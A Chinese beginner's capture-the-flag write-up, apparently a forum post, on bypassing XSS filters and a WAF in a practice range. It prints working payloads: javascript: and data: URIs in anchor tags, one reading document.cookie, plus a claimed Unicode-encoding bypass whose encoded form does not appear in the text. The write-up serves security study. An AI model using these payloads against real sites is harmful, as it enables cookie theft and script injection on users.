本站新手向 XSS 靶场通关记录
XSS 过滤绕过靶场笔记
一、简单的标签名绕过
1.1 靶场分析
查看靶场描述,发现 <script> 标签被过滤:
<!-- 被过滤的 payload -->
<script>alert(1)</script>

1.2 绕过思路
由于 <script> 被过滤,改用 <a> 标签,在 href 属性中嵌入 javascript: 伪协议进行绕过。
Payload:
<a href="javascript:alert(document.cookie)">点击</a>

1.3 获取 Flag
在页面中触发后,按 F12 打开开发者工具,即可找到隐藏 flag。


二、WAF 拦截与编码绕过
2.1 问题描述
该关卡存在 WAF 拦截,需要寻找过滤规则并构造绕过 payload。
2.2 探测过滤规则
步骤 1:基础测试
123
前端正常显示,无过滤。

步骤 2:测试 HTML 标签
<a>test</a>
发现 <a> 标签未被过滤,可直接渲染。

步骤 3:测试伪协议
<a href="javascript:alert(1)">click</a>
结果: 被 WAF 拦截。

步骤 4:验证 data 协议
<a href="data:text/html,<script>alert(1)</script>">click</a>

步骤 5:测试无害链接
<a href="https://www.baidu.com">click</a>
结果: 可正常点击跳转。

推测: WAF 可能拦截了
javascript:和data:等危险伪协议。
2.3 Unicode 编码绕过
尝试对伪协议进行 Unicode 编码。
步骤 1:无害编码测试
<a href="https://www.baidu.com">click</a>
(即 https://www.baidu.com 的 Unicode 编码)
结果: 成功解析并跳转,说明 Unicode 编码可正常解析。

步骤 2:构造攻击 Payload
将 javascript: 进行 Unicode 编码:
<a href="javascript:alert(1)">click</a>
结果: 成功绕过 WAF,触发 XSS。

2.4 获取 Flag
按 F12 打开开发者工具,在页面源码中检索 flag 字段,提交验证正确。


PS:第一次在社区发学习笔记,排版和内容都比较粗糙。如果有什么知识不对的地方,麻烦大佬们多多指正!
温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。
涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。
如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。
